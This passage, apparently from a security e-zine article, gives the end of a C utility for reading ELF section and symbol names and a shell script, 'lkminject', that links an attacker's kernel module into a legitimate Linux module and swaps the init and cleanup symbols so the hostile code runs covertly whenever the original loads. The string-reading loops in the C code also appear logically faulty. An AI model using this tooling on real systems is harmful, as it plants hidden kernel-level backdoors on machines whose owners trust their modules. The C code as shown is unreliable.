offset = ElfGetSymbolName (fd, sym->st_name,
strtab, symname, sizeof (symname));
if (!strcmp (symname, name))
return offset;
}
return -1;
}
int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index,
Elf32_Shdr *shdr)
{
if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize),
SEEK_SET) == -1)
FATAL ("fseek");
if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
FATAL ("Sections header corrupted");
return 0;
}
int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section,
Elf32_Shdr *shdr)
{
int i;
char name[255];
Elf32_Shdr shstrtable;
/*
* Get the section header string table
*/
ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);
memset (name, 0, sizeof (name));
for (i=0; i<ehdr->e_shnum; i++)
{
if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize),
SEEK_SET) == -1)
FATAL ("fseek");
if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
FATAL ("Sections header corrupted");
ElfGetSectionName (fd, shdr->sh_name, &shstrtable,
name, sizeof (name));
if (!strcmp (name, section))
{
return 0;
}
}
return -1;
}
int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
Elf32_Shdr *shstrtable, char *res, size_t len)
{
size_t i = 0;
if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1)
FATAL ("fseek");
while ((i < len) || *res == '\0')
{
*res = fgetc (fd);
i++;
res++;
}
return 0;
}
Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
Elf32_Shdr *strtable, char *res, size_t len)
{
size_t i = 0;
if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1)
FATAL ("fseek");
while ((i < len) || *res == '\0')
{
*res = fgetc (fd);
i++;
res++;
}
return (strtable->sh_offset + sym_name);
}
/* EOF */
----] 9.2 Lkminject
#!/bin/sh
#
# lkminject by truff (
[email protected])
#
# Injects a Linux lkm into another one.
#
# Usage:
# ./lkminfect.sh original_lkm.o evil_lkm.c
#
# Notes:
# You have to modify evil_lkm.c as explained bellow:
# In the init_module code, you have to insert this line, just after
# variables init:
# dumm_module ();
#
# In the cleanup_module code, you have to insert this line, just after
# variables init:
# dummcle_module ();
#
# http://www.projet7.org - Security Researchs -
###########################################################################
sed -e s/init_module/evil_module/ $2 > tmp
mv tmp $2
sed -e s/cleanup_module/evclean_module/ $2 > tmp
mv tmp $2
# Replace the following line with the compilation line for your evil lkm
# if needed.
make
ld -r $1 $(basename $2 .c).o -o evil.o
.../elfstrchange evil.o init_module dumm_module
.../elfstrchange evil.o evil_module init_module
.../elfstrchange evil.o cleanup_module dummcle_module
.../elfstrchange evil.o evclean_module cleanup_module
mv evil.o $1
rm elfstrchange
|=[ EOF ]=---------------------------------------------------------------=|
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